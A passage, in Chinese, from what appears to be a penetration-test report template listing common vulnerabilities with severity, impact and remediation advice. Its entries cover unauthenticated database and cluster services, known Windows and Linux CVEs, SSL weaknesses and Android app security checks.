服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作（增、删、改、查高危动作）而且可以远程访问数据库。\n造成的危害\n使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登录到数据服务器。\n修复建议\n为 MongoDB 添加认证：MongoDB 启动时添加 –auth 参数、为 MongoDB 添加用户。 MongoDB 自身带有一个 HTTP 服务和并支持 REST 接口。在2.6以后这些接口默认是关闭的。mongoDB 默认会使用默认端口监听 web 服务，一般不需要通过web方式进行远程管理，建议禁用。修改配置文件或在启动的时候选择 -nohttpinterface 参数 nohttpinterface=false。 启动时加入参数 –bind_ip 127.0.0.1 或在 /etc/mongodb.conf 文件中添加以下内容：bind_ip = 127.0.0.1。 Memcahce 未授权访问\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n详情\n目标 Memcahce 服务存在未授权访问漏洞,Memcached 端口对外开放并且没有配置认证选项，未授权用户可直接获取数据库中所有信息，造成严重的信息泄露。\n造成的危害\n除 memcached 中数据可被直接读取泄漏和恶意修改外，由于 memcached 中的数据像正常网站用户访问提交变量一样会被后端代码处理，当处理代码存在缺陷时会再次导致不同类型的安全问题。不同的是，在处理前端用户直接输入的数据时一般会接受更多的安全校验，而从 memcached 中读取的数据则更容易被开发者认为是可信的，或者是已经通过安全校验的，因此更容易导致安全问题。\n修复建议\n1. 配置 memcached 监听本地回环地址 127.0.0.1。 vim /etc/sysconfig/memcached OPTIONS=\"-l 127.0.0.1\" # 设置本地为监听 /etc/init.d/memcached restart # 重启服务 2. 当 memcached 配置为监听内网 IP 或公网 IP 时， 使用主机防火墙(iptalbes、 firewalld 等)和 网络防火墙对 memcached 服务端口 进行过滤。 influxdb 未授权访问\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n详情\nInfluxDB 是一个使用 Go 语言编写的开源分布式，支持高并发的时序数据库，其使用 JWT 作为鉴权方式。在用户开启了认证，但未设置参数 shared-secret 的情况下，JWT 的认证密钥为空字符串。\n造成的危害\n攻击者可以伪造任意用户身份在 InfluxDB 中执行 SQL 语句。\n修复建议\n为 influxdb 配置身份验证. 配置仅白名单范围内IP允许访问服务. 远程服务 CVE-2018-15473 OpenSSH 用户枚举漏洞\n漏洞评级建议: 低危\n漏洞类型: 信息泄露\n详情\n通过向 OpenSSH 服务器发送一个错误格式的公钥认证请求，可以判断是否存在特定的用户名。如果用户名不存在，那么服务器会发给客户端一个验证失败的消息。如果用户名存在，那么将因为解析失败，不返回任何信息，直接中断通讯。\n造成的危害\n由于 SSH 本身的认证机制存在缺陷，导致攻击者可以使用字典，暴力枚举 SSH 存在的用户名(Username)。\n修复建议\n升级 openssh。\nVNC 未授权\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n详情\n目标机器开放了 5900,5901,5902 等 VNC 端口，但并未设置 VNC 密码，可以使用 VNC 客户端直接连上去进行操作。\n造成的危害\n攻击者可以获取目标机器的桌面权限，若目标未锁屏或登出,即可执行任意恶意操作，获取敏感信息等。\n修复建议\n设置 VNC 服务的密码。 限制白名单 IP 连接到对应的 VNC 端口。 文件服务 CVE-1999-0554 目标主机 showmount -e 信息泄露\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n详情\n目标服务器由于错误的 nfs 配置，可以对目标主机进行\"showmount -e\"操作。\n造成的危害\nNFS 服务配置漏洞将泄露目标主机大量敏感信息，比如目录结构。更糟糕的是，如果访问控制不严的话，攻击者有可能直接访问到目标主机上的数据。\n修复建议\n修改 NFS 配置文件，限制可以获取 NFS 输出列表的 IP 和用户。 除非绝对必要，请关闭 NFS 服务、MOUNTD。 SMB弱口令\n漏洞评级建议: 高危\n漏洞类型: 弱口令漏洞\n详情\n渗透测试过程中，发现远程 SMB Server 允许以弱口令组合登录。\n造成的危害\n这可能允许攻击者上传恶意文件或者下载敏感文件。\n修复建议\n不要使用常见的弱口令作为密码。 定期修改密码。 及时 SMB 服务更新到最新版本。 对采用白名单的方式，仅允许授权主机 IP 访问该端口，避免漏洞被攻击者恶意利用。 分布式 Hadoop 未授权访问漏洞\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n详情\n该问题产生是由于管理员在配置失误所致，导致直接开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口。\n造成的危害\n黑客可以通过命令行操作多个目录下的数据，如进行删除，下载，目录浏览甚至命令执行等操作，产生极大的危害。\n修复建议\n如无必要，关闭 Hadoop Web 管理页面。 开启身份验证，防止未经授权用户访问。 设置“安全组”访问控制策略，将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口。 ZooKeeper 未授权访问漏洞\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n详情\nZooKeeper 是一个分布式的，开放源码的分布式应用程序协调服务，是 Google 的 Chubby 一个开源的实现，是 Hadoop 和 Hbase 的重要组件。在通常情况下，zookeeper 允许未经授权的访问。\n造成的危害\n攻击者渗透中遇到 ZooKeeper 集群后，可以查找事务日志来获取 admin 的密码或者其他敏感资源的认证方法。用户或者客户端根本不需要任何的认证就可以连上 ZooKeeper 的服务端，并且可以对 znode 进行增删等操作。这样数据是非常不安全的，极易被攻击和篡改。\n修复建议\n修改 ZooKeeper 默认端口，采用其他端口服务。 添加访问控制，配置服务来源地址限制策略。 增加 ZooKeeper 的认证配置。 虚拟化 \u0026 云平台 Docker Remote API 未授权访问漏洞\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n详情：\n目标 Docker Remote API 配置不当可导致未授权访问，可被攻击者恶意利用。\n危害：\n攻击者无需认证即可访问到 Docker 数据，可能导致敏感信息泄露，黑客也可以删除 Docker 上的数据。攻击者可进一步利用 Docker 自身特性，直接访问宿主机上的敏感信息，或对敏感文件进行修改，最终完全控制服务器。\n修复方法：\n修改 Docker Remote API 服务默认参数。 修改 Docker 的启动参数：定位到 DOCKER_OPTS 中的 tcp://0.0.0.0:2375，将0.0.0.0修改为127.0.0.1 或将默认端口 2375 改为自定义端口为 Remote API 设置认证措施。 设置防火墙策略。如果正常业务中 API 服务需要被其他服务器来访问，可以配置安全组策略或 iptables 策略，仅允许指定的 IP 来访问 Docker 接口。 修改 Docker 服务运行账号。请以较低权限账号运行 Docker 服务；另外，可以限制攻击者执行高危命令。 总之、不要将端口直接暴露在公网，内网中使用需要设置严格的访问规则.\nKubelet 未授权访问\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n详情\nkubelet 是在 Node 上用于管理本机 Pod 的，kubectl 是用于管理集群的。kubectl 向集群下达指令，Node 上的 kubelet 收到指令后以此来管理本机 Pod。Kubelet 服务启动后会监听多个端口，用于接收 Kubernetes API Server 组件发送的请求,目标 Kubelet 端口存在未授权访问.\n造成的危害\n攻击者可以通过暴露出来的接口服务获取容器的权限，甚至通过创建自定义的容器获取宿主机的权限。\n修复建议\n将 Kubelet 组件的启动参数 –anonymous-auth 值设为 false，即不允许匿名访问 将 Kubelet 组件的启动参数 –authorization-mode 值设为 Webhook 如非业务需要，可以关闭 Web 端口的服务，保持最小化原则，避免安全风险的产生。 Kubernetes API Server 未授权访问\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n详情\nKubernetes API Server 可以在两个端口上提供了对外服务：8080（insecure-port，非安全端口）和 6443（secure-port，安全端口），其中 8080 端口提供 HTTP 服务且无需身份认证，6443 端口提供 HTTPS 服务且支持身份认证 (8080 和 6443 端口并不是固定的，是通过配置文件来控制的)。如果 8080 在外部环境中被暴露出来，攻击者便可以利用此端口进行对集群的攻击。\n造成的危害\n如果将该端口暴露，那么任何网络可达的攻击者都能够通过该端口直接与 API Server 交互，进而控制整个集群。\n修复建议\n禁止在 Kubernetes APIServer 组件的配置文件中修改 –insecure-port 启动参数值为 8080，使用默认配置值 禁止在 Kubernetes APIServer 组件的配置文件中修改 –insecure-bind-address 启动参数值为 0.0.0.0，使用默认配置值 使用 API Server 的安全端口（6443），并为其设置证书 Kubernetes Dashboard 未授权访问\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n详情\nKubernetes Dashboard 是一个通用的，基于 Web 的 Kubernetes 集群用户界面。它允许用户管理集群中运行的应用程序，并对其进行故障排除，以及管理集群本身。在其早期版本中（v1.10.1 之前）存在未授权访问风险。\n造成的危害\n所有能够访问到宿主机的用户，包括攻击者，都将能够直接访问 Dashboard，存在信息泄漏风险。\n修复建议\n将 KubernetesDashboard 升级至高于 v1.10.1 的版本 etcd 未授权\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n详情\netcd 是 k8s 集群中的数据库组件，默认监听在 2379 端口. 如果 2379 没有指定证书校验，没有实施访问控制，那么就存在未授权。\n造成的危害\n恶意攻击者可以通过 etcd 查询集群内管理员的 token，然后用这个 token 访问 api server 接管集群。\n修复建议\n在启动 etcd 时，指定 --client-cert-auth 参数打开证书校验 通过 iptables/防火墙等实施访问控制 OS windows MS12-020\n漏洞评级建议: 高危\n漏洞类型: 代码执行\n详情\nMS12-020 漏洞是微软在 12 年发布的一个 windows 系统漏洞，该漏洞针对于windows xp 和 windows sever 2003 等系统。攻击者通过该漏洞对目标主机进行攻击，可导致目标主机蓝屏。\n造成的危害\n远程攻击者在未经认证的情况下往服务器发送畸形恶意的数据包，便可以以系统权限或者 NET SERVICE 权限执行任意命令。\n修复建议\n针对 MS12-020 漏洞，微软官方已放出相应的补丁，建议及时安装官方补丁:http://technet.microsoft.com/en-us/security/bulletin/ms12-020\nMS14-066\n漏洞评级建议: 高危\n漏洞类型: 代码执行\n详情\n目标主机存在 MS14-066 漏洞，由于安全通道（Schannel）安全包对包的处理不当，远程Windows主机受到远程代码执行漏洞的影响。\n造成的危害\n攻击者可以通过将特制数据包发送到 Windows 服务器来利用此漏洞。\n修复建议\n针对 MS14-066 漏洞，微软官方已放出相应的补丁，建议及时安装官方补丁:https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-066\nMS15-034\n漏洞评级建议: 高危\n漏洞类型: 代码执行\n详情\n目标主机存在 MS15-034 漏洞，如果攻击者向受影响的 Windows 系统发送经特殊设计的的 HTTP 请求，此漏洞可能允许远程执行代码。\n造成的危害\n利用 HTTP.sys 的安全漏洞，攻击者只需要发送恶意的 http 请求数据包，就可能远程读取 IIS 服务器的内存数据，或使服务器系统蓝屏崩溃。\n修复建议\n针对 MS15-034 漏洞，微软官方已放出相应的补丁，建议及时安装官方补丁：https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2015/ms15-034\nMS17-010\n漏洞评级建议: 高危\n漏洞类型: 代码执行\n详情\n目标主机存在 MS17-010 漏洞。如果攻击者向 Windows SMBv1 服务器发送特殊设计的消息，那么可能允许远程执行代码。\n造成的危害\n该漏洞是 Windows 的 SMB 服务处理 SMB v1 请求时发生的漏洞，这个漏洞导致攻击者可以使用该漏洞使目标机器反代连接到 cc 服务器，进行远程控制主机、在局域网传播木马等破坏行为。\n修复建议\n针对 MS17-010 漏洞，微软官方已放出相应的补丁，建议及时安装官方补丁:https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010\nCVE-2019-0708 漏洞\n漏洞评级建议: 高危\n漏洞类型: 代码执行\n详情\n目标主机存在 Windows 高危远程漏洞 CVE-2019-0708。当未经身份验证的攻击者使用 RDP 连接到目标系统并发送经特殊设计的请求时，远程桌面服务（以前称为 “终端服务”）中存在远程执行代码漏洞。此漏洞是预身份验证，无需用户交互。\n造成的危害\n攻击者一旦成功利用该漏洞，便可以在目标系统上执行任意代码，包括获取敏感信息、执行远程代码、发起拒绝服务攻击等等攻击行为。\n修复建议\n针对 CVE-2019-0708 漏洞，Microsoft 已经为此发布了一个安全公告以及相应补丁: https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/CVE-2019-0708 https://support.microsoft.com/en-us/help/4500331/windows-update-kb4500331 Linux CVE-2016-5195\n漏洞评级建议: 高危\n漏洞类型: 内核提权\n详情\n该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞，导致可以破坏私有只读内存映射。\n造成的危害\n黑客可以获取低权限的本地用户后，利用此漏洞获取其他只读内存映射的写权限，进一步获取 root 权限。\n修复建议\n及时更新 linux 系统内核至最新版本。\nProtocol SNMP 默认团体字符串可被枚举\n漏洞评级建议: 低危\n漏洞类型: 认证缺陷\n详情\n渗透测试过程中，发现目标 SNMP 服务配置了默认的团体字符串，snmp 是用来进行网络管理的。cacti 和 mrtg 等监控工具都是基于 snmp 协议。\n造成的危害\nsnmp 弱口令或者口令泄漏引起的安全问题:一是信息泄漏，二是设备的配置可能被修改从而被他人控制。\n修复建议\n修改 SNMP 的默认团体字符串，使用强度更高的字符串。 开启 snmp 服务的设备采用 snmp v3 用户，因为 snmp v3 支持用户认证与加密，安全性更好、更可靠。 不安全的SSL：过于广泛的信任证书\n漏洞评级建议: 信息\n漏洞类型: 错误的证书验证\n修复建议：\n以 JAVA 语言源代码为例, 不要直接使用默认的 URLConnection 建立 SSL/TLS 连接，建议使用 HttpsURLConnection 进行替代，并对证书进行判断和处理。\n不安全的SSL：使用默认证书\n漏洞评级建议: 信息\n漏洞类型: 错误的证书验证\n修复建议： 降低对预加载的系统证书的信任级别，包括： 1. 自定义信任锚：使用仅包含您要信任的证书的自定义密钥库。 2. 证书固定：信任默认证书，但验证并强制证明证书链中存在后端服务器使用的证书。 或者，可以验证（固定）公钥。 不安全的SSL：版本过低\n漏洞评级建议: 信息\n漏洞类型: 错误的证书验证\n详情：\nSSL 协议是 HTTP 的补充，使用加密等方法让 HTTP 更安全；TLS 是基于 SSL v3 的升级版协议，目前版本发展为 v1.0 v1.1 v1.2。当前 TLS 版本过低，存在许多严重漏洞，这些漏洞使得目标存在被攻击的风险。\n造成的危害：\n使用老旧的弱加密算法，信息将存在被中间人攻击和窃取的风险。\n修复建议：\n使用严格的 https 证书，升级 ssl 到最新的版本。\nSSL RC4 Cipher Suites Supported (Bar Mitzvah)\n漏洞评级建议: 信息\n漏洞类型: 配置缺陷\n修复建议： https://blog.csdn.net/qq_42534026/article/details/113392561 安卓 程序源文件安全 加固壳识别\n漏洞评级建议: 高危\n详情：\n检测 App 程序采用了何家厂商的加固方案。\n造成的危害：\n针对 Android 平台应用所面临的反编译和二次打包问题，对应用进行加固是目前最有效的解决方案。由于通用加固方案的加固强度较低、加固方式较为普遍，无法有效防止反编译工具的破解，或者容易被脱壳并且反编译，因此，建议采用企业级定制化加固方案，有效地保护源代码安全和防止篡改及二次打包风险。\n检测结果:\n该 App 程序已经使用 XXX 的加固方案。\nJava 代码反编译风险\n漏洞评级建议: 高危\n详情：\n检测 java 层代码是否存在源代码被反编译而泄露的风险。\n造成的危害：\nApk 如果未采取有效的保护措施，可能面临被反编译的风险。反编译是将二进制程序转换成人们易读的一种描述语言的形式。反编译的结果是应用程序的代码，这样就暴露了客户端的所有逻辑，比如与服务端的通讯方式，加解密算法、密钥，转账业务流程、软键盘技术实现等等。攻击者可以利用这些信息窃取客户端的敏感数据，包括手机号、密码；截获与服务器之间的通信数据；绕过业务安全认证流程，直接篡改用户账号信息；对服务器接口发起攻击等。\n检测结果:\n该 Apk 已经被加固或是采用其他防反编译方案，反编译 Java 代码失败。\n修复建议:\n代码混淆，即使用代码混淆的工具，将程序结构打乱，这样即使源代码被反编译了，仍然很难梳理出程序的正常逻辑结构。 代码隔离。即在别的服务器上仅仅存放页面的代码，实际的应用程序访问到自己的服务器上。这种保护效果也比较好，问题就是，如果被部署服务器和访问服务器之间网络无法共通，那么此方法则不可行。 本地代码保护，通过本地加密技术动态生成可执行的jar包，将加密之后的应用发布，则在反编译时，需要输入密码，如果无密码，则无法解密。 通过加密工具进行加密，之后发布已经加密的包，通过GO语言生成的动态脚本执行启动命令。 So 文件破解风险\n漏洞评级建议: 低危\n详情：\n检测 Apk 中的 so 文件是否可被破解读取。\n造成的危害：\nSo 文件为 Apk 中包含的动态链接库文件，Android 利用 NDK 技术将 C/C++ 语言实现的核心代码编译为 so 库供 Java 层调用。So 被破解可能导致核心功能的汇编代码甚至源代码泄露，不仅损害开发者的知识产权，并且可能暴露了客户端的核心功能逻辑，攻击者可以利用这些信息窃取客户端的敏感数据，包括手机号、密码；截获与服务器之间的通信数据；绕过业务安全认证流程，直接篡改用户账号信息；对服务器接口发起攻击等。\n检测结果:\n该 App 应用中存在的 so 文件可被破解，导致核心源码泄露。\n修复建议：\n第三方支持：使用具有 so 文件保护功能的第三方专业加固方案，防止 so 文件被破解。\n篡改和二次打包风险\n漏洞评级建议: 高危\n详情：\n检测客户端的源代码、资源文件、配置文件等被篡改后，是否可以重新打包并正常运行。\n造成的危害：\nApk 篡改后二次打包不仅已经严重危害开发者版权和经济利益，而且也使app 用户遭受到不法应用的恶意侵害。对客户端程序添加或修改代码，修改客户端资源图片，配置信息、图标，添加广告，推广自己的产品，再生成新的客户端程序，可导致大量盗版应用的出现分食开发者的收入；恶意的二次打包还能实现应用钓鱼、添加病毒代码、添加恶意代码，从而窃取登录账号密码、支付密码，拦截验证码短信，修改转账目标账号、金额等等。\n检测结果:\n该 Apk 无法被篡改或者二次打包后无法运行。\n修复方案:\nJava 代码中加入签名校验。 NDK 中加入签名校验。 利用二次打包工具本身的缺陷阻止打包。 Janus 签名机制漏洞\n漏洞评级建议: 高危\n详情：\n检测 App 程序是否存在 Janus 签名机制漏洞。\n造成的危害：\nGoogle 披露了一个名为“Janus”的安卓漏洞（漏洞编号：CVE-2017-13156），该漏洞可以让攻击者绕过安卓系统的 Signature scheme V1 签名机制，用篡改过的 APK 覆盖原有的应用，并可访问原应用所有的数据，直接对 App 进行篡改。由于安卓系统的其他安全机制也是建立在签名和校验基础上的，所以可以说该漏洞相当于绕过了安卓系统的整个安全机制。该漏洞的影响范围：安卓 5.0-8.0 的各个版本系统；使用安卓 Signature scheme V1 签名的 App APK 文件。该漏洞的危害：对存储在原手机上的数据进行读取；对用户的输入做各种监听、拦截、欺诈，引导用户输入密码，转账；更新Android 的系统 APP，从获得更高的系统权限，甚至 root/越狱，为其他攻击做准备。\n检测结果:\n该 App 存在 Janus 签名机制漏洞。\n修复建议\n采用Android signature scheme V2签名机制。V2签名校验整个ZIP文件，包括了Central Directory和 End of Central Directory部分，因此只要修改了偏移量，V2签名校验就会失败。 尽快升级到最新版Android系统，更新安全补丁。\n资源文件泄露风险\n漏洞评级建议: 低危\n详情：\n检测 Apk 中的资源文件是否可被读取及篡改。\n造成的危害：\nApk 中包含多种类型的资源文件，包括图标，图片，javascript 文件等，其中 js 文件中可能包含资源文件中的重要显示界面及执行，如果 js文件被读取可能造成功能逻辑泄露，如果被篡改，可能被植入钓鱼页面或者恶意代码，造成用户的敏感信息泄露。\n检测结果:\n该 App 应用中的 js 类资源文件无法被读取。\n修复建议:\n对资源文件(.js)进行加密保护，防止资源文件泄露。\n应用签名未校验风险\n漏洞评级建议: 高危\n详情：\n检测 App 程序启动时是否校验签名证书。\n造成的危害：\n签名证书是对 App 开发者身份的唯一标识，开发者可利用签名证书有效降低App 的盗版率。未进行签名证书的 App，可能被反编译后进行二次打包。重新打包签名的应用，可能导致 App 被仿冒盗版，影响其合法收入，甚至可能被添加钓鱼代码、病毒代码、恶意代码，导致用户敏感信息泄露或者恶意攻击。\n检测结果:\n该 App 应用重新签名后无法正常启动。\n修复建议:\n增加程序本地签名校验及云端的签名校验。\n代码未混淆风险\n漏洞评级建议: 中危\n详情：\n检测 App 程序的源代码是否已经经过混淆处理。\n造成的危害：\n代码混淆是一种用来隐藏代码结构及流程的技术，可以增加代码阅读的难度。代码混淆通过将 Java 代码中的方法名，变量名，类名，包名等这些元素名称改成毫无关联且无意义的名字（如单个字母或者无意义的组合），或者对简单的逻辑分支进行混淆，使攻击者难以找到函数调用的内容，无法掌控app内部实现逻辑，从而增加逆向工程和破解的难度。应用代码如果不经过混淆处理，一旦被反编译，源代码将直接暴露给攻击者，造成程序业务逻辑泄露、加解密算法失效、通信加密失效，攻击者可以利用这些信息窃取客户端的敏感数据，包括账号、密码；绕过业务安全认证流程，直接篡改用户账号信息；对服务器接口发起攻击等。虽然代码混淆并不能真正阻止逆向工程 ，但可以增大反编译代码被解读的难度。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的代码未混淆风险已被屏蔽。\n修复建议:\n对Android 代码进行混淆，混淆器将代码中的所有变量、函数、类的名称加密为简短的英文字母代号，在APP被破解后增加破解者对代码的阅读难度。\n使用调试证书发布应用风险\n漏洞评级建议: 低危\n详情：\n检测 App 是否使用了调试证书发布应用。\n造成的危害：\n签名证书是验证应用开发者身份的关键标识，可用于判断 App 是否是由合法开发者发布的正版应用，并且 App 常使用签名校验作为防止 App 被二次打包的措施。使用调试证书发布应用，可能导致 App 无法在应用市场上架，并且debug 证书的有效期仅有一年使用；使用debug证书发布的应用可能会出现各个版本的签名证书不一致的情况，这样会导致 App 应用无法成功升级；同时，证书的不一致性可能造成 App 使用的签名校验措施频繁改动或者被迫取消，最终导致应用被二次打包。\n检测结果:\n该应用使用了开发者的 release 证书发布应用。\n本地数据存储安全 Webview 明文存储密码风险\n漏洞评级建议: 高危\n详情：\n检测 App 应用的 Webview 组件中是否使用明文保存用户名及密码。\n造成的危害：\nAndroid 的 Webview组件中默认打开了提示用户是否保存密码的功能，如果用户选择保存，用户名和密码将被明文存储到该应用目录databases/webview.db 中。而本地明文存储的用户名和密码，不仅会被该应用随意浏览，其他恶意程序也可能通过提权或者 root 的方式访问该应用的webview数据库，从而窃取用户登录过的用户名信息以及密码。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 Webview组件明文保存用户名及密码风险已被屏蔽。若需获取该测评项目完整结果，请提交未加固的Apk重新进行检测。\nWebview File 同源策略绕过漏洞\n漏洞评级建议: 高危\n详情：\n检测 Apk 中 WebView 的 file域协议是否存在同源策略绕过的漏洞。\n造成的危害：\nJavaScript 的延时执行能够绕过 file协议的同源检查，并能够访问受害应用的所有私有文件，即通过 WebView 对 Javascript 的延时执行和将当前Html 文件删除掉并软连接指向其他文件就可以读取到被符号链接所指的文件，然后通过 JavaScript 再次读取 HTML 文件，即可获取到被符号链接所指的文件。大多数使用 WebView 的应用都会受到该漏洞的影响，恶意应用通过该漏洞，可在无特殊权限下盗取应用的任意私有文件，尤其是浏览器，可通过利用该漏洞，获取到浏览器所保存的密码、Cookie、收藏夹以及历史记录等敏感信息，从而造成敏感信息泄露。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 webview File 同源策略绕过漏洞已被屏蔽。\n明文数字证书风险\n漏洞评级建议: 中危\n详情：\n检测客户端是否包含明文存储的数字证书文件。\n造成的危害：\nApk 中使用的数字证书可被用来校验服务器的合法身份，以及在与服务器进行通信的过程中对传输数据进行加密、解密运算，保证传输数据的保密性、完整性。明文存储的数字证书如果被篡改，客户端可能连接到假冒的服务端上，导致用户名、密码等信息被窃取；如果明文证书被盗取，可能造成传输数据被截获解密，用户信息泄露，或者伪造客户端向服务器发送请求，篡改服务器中的用户数据或造成服务器响应异常。\n检测结果:\n该 Apk 中不存在明文存储的数字证书文件。\n调试日志函数调用风险\n漏洞评级建议: 低危\n详情：\n检测 App 程序中是否调用了调试日志函数。\n造成的危害：\n调试日志函数可能输出重要的日志文件，其中包含的信息可能导致客户端用户信息泄露，暴露客户端代码逻辑等，为发起攻击提供便利，例如：Activity的组件名，是 Activity 劫持需要的信息；通信交互的日志，会成为发动服务器攻击的依据；跟踪的变量值，可能泄露一些敏感数据，输入的账号、密码等。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的日志函数调用已被屏蔽。\n修复建议：\n关闭调试日志函数调用，或者确保日志的输出使用了正确的级别，涉及敏感数据的日志信息在发布版本中被关闭。\n数据库注入漏洞\n漏洞评级建议: 高危\n详情：\n检测 App 应用的数据库是否存在 sql注入漏洞。\n造成的危害：\n由于 Content provider 组件读写权限设置不当，并且未对 sql查询语句的字段参数作过滤判断，app 本地数据库可能被注入攻击。这种风险可能导致存储的敏感数据信息被查询泄露，例如账户名，密码等，或者产生查询异常导致应用崩溃。\n检测结果:\n该 App 应用无数据库注入漏洞。\nAES/DES 加密方法不安全使用漏洞\n漏洞评级建议: 低危\n详情：\n检测 App 程序中使用 AES/DES 加密算法时是否使用了不安全的加密模式。\n造成的危害：\nAES/DES 是 android 程序中常用的两种对称加密算法，其工作模式有ECB、CBC、CFB和OFB。当其使用 ECB或 OFB 工作模式时，加密数据可能被选择明文攻击 CPA 破解。加密方法失效后可能导致客户端隐私数据泄露，加密文件破解，传输数据被获取，中间人攻击等后果，造成用户敏感信息被窃取。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 AES/DES 加密算法不安全使用漏洞已被屏蔽。\nRSA 加密算法不安全使用漏洞\n漏洞评级建议: 中危\n详情：\n检测 App 中是否存在 RSA 加密算法不安全使用的漏洞。\n造成的危害：\nRSA 算法是最为典型的非对称加密算法，也是当今应用范围最为广泛的非对称加密算法，也是第一个能用于数据加密也能用于数字签名的算法。使用RSA 加密算法时，应注意以下两点：1.密钥长度过短，会导致密钥被破解，通常小于 512bit 的密钥即存在破解的风险；2.加密算法没有使用正确的工作模式和填充方式，容易导致部分加密数据被破解或者遭到选择明文攻击（CPA）。RSA 加密算法的不安全使用，可能导致客户端隐私数据泄露，加密文件破解，传输数据被获取，中间人攻击等后果，造成用户敏感信息被窃取，甚至造成财产损失。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 RSA 加密算法不安全使用漏洞已被屏蔽。\n密钥硬编码漏洞\n漏洞评级建议: 高危\n详情：\n检测 App 中是否存在密钥硬编码漏洞。\n造成的危害：\n密钥硬编码是指在代码中直接将加密算法的密钥设置为一个固定值。通常加密算法本身都是公开的，而加密内容的保密则主要是依赖于加密密钥。如果密钥泄露，根据加密算法和加密后的密文，很容易得到加密前的明文。而密钥硬编码在代码中，通过反编译攻击者可以直接查看密钥内容，整个加密算法将形同虚设。密钥硬编码，可直接造成加密数据被破解，客户端与服务器之间的通信内容被破解，导致应用内的加密文件被破解，或是用户的敏感信息泄露。\n检测结果:\n该 App 应用中不存在密钥硬编码漏洞。\n动态调试攻击风险\n漏洞评级建议: 高危\n详情：\n检测客户端 App 运行时是否面临 C 层动态调试的风险。\n造成的危害：\n如果 App 存在 C 层代码动态调试的风险，攻击者可以利用GDB、IDA、Ptrace 等调试器跟踪运行的目标程序，查看、修改内存中的代码和数据，甚至分析篡改程序的业务逻辑，对客户关键数据或者服务器进行恶意攻击，例如修改客户端业务操作的数据，比如转账账号、金额等，导致用户的损失。\n检测结果:\n该 App 存在 C 层动态调试的风险。\n修复建议：\n第三方支持：使用具有反动态调试功能的第三方专业加固方案，防止应用被动态调试。\nWebview 远程调试风险\n漏洞评级建议: 中危\n详情：\n检测 App 程序是否存在 Webview 远程调试风险。\n造成的危害：\nAndroid 应用可在 WebView 中直接实现对 js 代码的远程调试。在 4.4 版本以上的 Android 系统上可通过将 WebView 类静态方法setWebContentsDebuggingEnabled 设置为 true，然后使用 Chrome 浏览器的开发工具 inspect 在 Android 应用中直接调试 WebView。开启 Webview 的远程调试功能，可能会被非法使用者直接利用，获取 js 源代码，从而可能造成功能逻辑泄露；如果 js 被篡改，可能被植入钓鱼页面或者恶意代码，造成用户的敏感信息泄露。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 Webview远程调试风险漏洞已被屏蔽。\n应用数据任意备份风险\n漏洞评级建议: 中危\n详情：\n检测 App 是否存在应用数据被任意备份的风险。\n造成的危害：\nAndroid 2.1 以上的系统可为 App 提供应用程序数据的备份和恢复功能，该由 AndroidMainfest.xml 文件中的allowBackup 属性值控制，其默认值为true。当该属性没有显式设置为 false 时，攻击者可通过 adb backup 和 adbrestore 对App 的应用数据进行备份和恢复，从而可能获取明文存储的用户敏感信息，如用户的密码、证件号、手机号、交易密码、身份令牌、服务器通信记录等。利用此类信息攻击者可伪造用户身份，盗取用户账户资产，或者直接对服务器发起攻击。\n检测结果:\n该 App 中的应用数据存在被外部调用备份的风险。\n修复建议：\n关闭 AndroidManifest.xml 中的组件导出权限，对于必须导出的组件必须限制于授权用户或者应用组件。建议再 AndroidManifest.xml 中把 android:debuggable 和 android:allowBackup 属性显式设置为 false。\n敏感函数调用风险\n漏洞评级建议: 低危\n详情：\n检测 App 程序中是否调用了包含敏感行为的函数。\n造成的危害：\n敏感行为包括发送、拦截短信，读取、修改通讯录、通话记录，拨打电话，发送地理位置，使用摄像头，访问浏览器历史记录等。函数调用这些敏感行为，可能导致用户隐私数据泄露，钓鱼扣费等风险。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的敏感函数调用已被屏蔽。\n修复建议：\n审核包含敏感行为的函数调用，确保其使用是必要且限制于授权用户的。\n数据库文件任意读写漏洞\n漏洞评级建议: 中危\n详情：\n检测 App 中是否存在可被任意读写的数据库文件。\n造成的危害：\ndatabase 配置模式安全风险源于:创建数据库(Database)时没有正确的选取合适的创建模式(MO DE_PRIVATE、MODE_WORLD_READABLE 以及MODE_WORLD_WRITEABLE)进行权限控制，从而导致数据库(Database)内容被恶意读写，造成账户密码、身份信息、金融账户其他敏感信息的泄露， 甚至可能导致攻击者进一步实施恶意攻击。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的数据库文件任意读写漏洞已被屏蔽。\n全局可读写的内部文件漏洞\n漏洞评级建议: 中危\n详情：\n检测 App 应用中是否存在内部文件，可被其他任意 App 读写。\n造成的危害：\n为了实现不同软件之间的数据共享，设置内部文件为全局可读或全局可写，导致其他应用可以读取和修改该文件。如果此类文件包含了关键配置信息，账户信息数据等敏感信息，可能会被盗取或者恶意篡改，导致如程序无法运行，业务逻辑被修改等问题。\n检测结果:\n该 App 